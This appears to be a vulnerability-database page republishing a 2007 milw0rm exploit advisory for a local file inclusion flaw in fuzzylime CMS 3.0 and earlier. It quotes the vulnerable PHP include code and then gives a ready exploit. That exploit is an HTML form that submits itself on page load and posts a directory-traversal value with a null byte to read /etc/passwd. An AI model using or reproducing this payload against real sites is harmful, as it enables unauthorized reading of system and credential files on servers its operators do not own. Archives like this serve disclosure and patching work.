fuzzylime cms <= 3.0 - Local File Inclusion Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

fuzzylime cms <= 3.0 - Local File Inclusion Vulnerability found on 08/09/2007. Vulnerable code in getgalldata.php allows inclusion of arbitrary files. Exploit requires magic_quotes_gpc = Off


                                                ########################################################################
#################
#
#                           not sec group
#        http://www.notsec.com     [email protected]
#
#
#                      [fuzzylime (cms) &#60;= 3.0]
#
# Class:         Local File Inclusion
# Found:       08/09/2007
# Site:           http://cms.fuzzylime.co.uk/
#Download:  http://cms.fuzzylime.co.uk/files/cms.zip
#Author:      [wHITe_ShEEp] of notsec
#Contact:     [email protected] - http://www.notsec.com
#
########################################################################
#################


                   vulnerable code:
       [cms]/code/getgalldata.php
______________________________________________________

1:    &#60;?
2:    $p = $_POST[p];
3:    $m = $_POST[img];
4:    $m = &#34;e$m&#34;;
5:    $entrytype = &#34;gallery&#34;;
6:    include &#34;../gallery/$p.inc.php&#34;;
7:    include &#34;settings.inc.php&#34;;
8:    include &#34;../$admindir/languages/english.inc.php&#34;;
...
41:   ?&#62;
_______________________________________________________



       Exploit: ( Work only with magic_quotes_gpc = Off )
_______________________________________________________

&#60;html&#62;
&#60;body onload=&#34;document.myform.submit()&#34;&#62;
&#60;form name=&#34;myform&#34; action=&#34;http://www.site.com/[fuzzylime]/code/
getgalldata.php&#34; method=&#34;post&#34;&#62;
&#60;input name=&#34;p&#34; type=&#34;text&#34; size=&#34;30&#34; value=&#34;../../../../../../../../
etc/passwd%00&#34; /&#62;
&#60;/form&#62;
&#60;/html&#62;
________________________________________________________




       Thanks to:
________________________________________________________

All notsec.com members;
R00T[ATI] for testing;
________________________________________________________

# milw0rm.com [2007-09-08]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1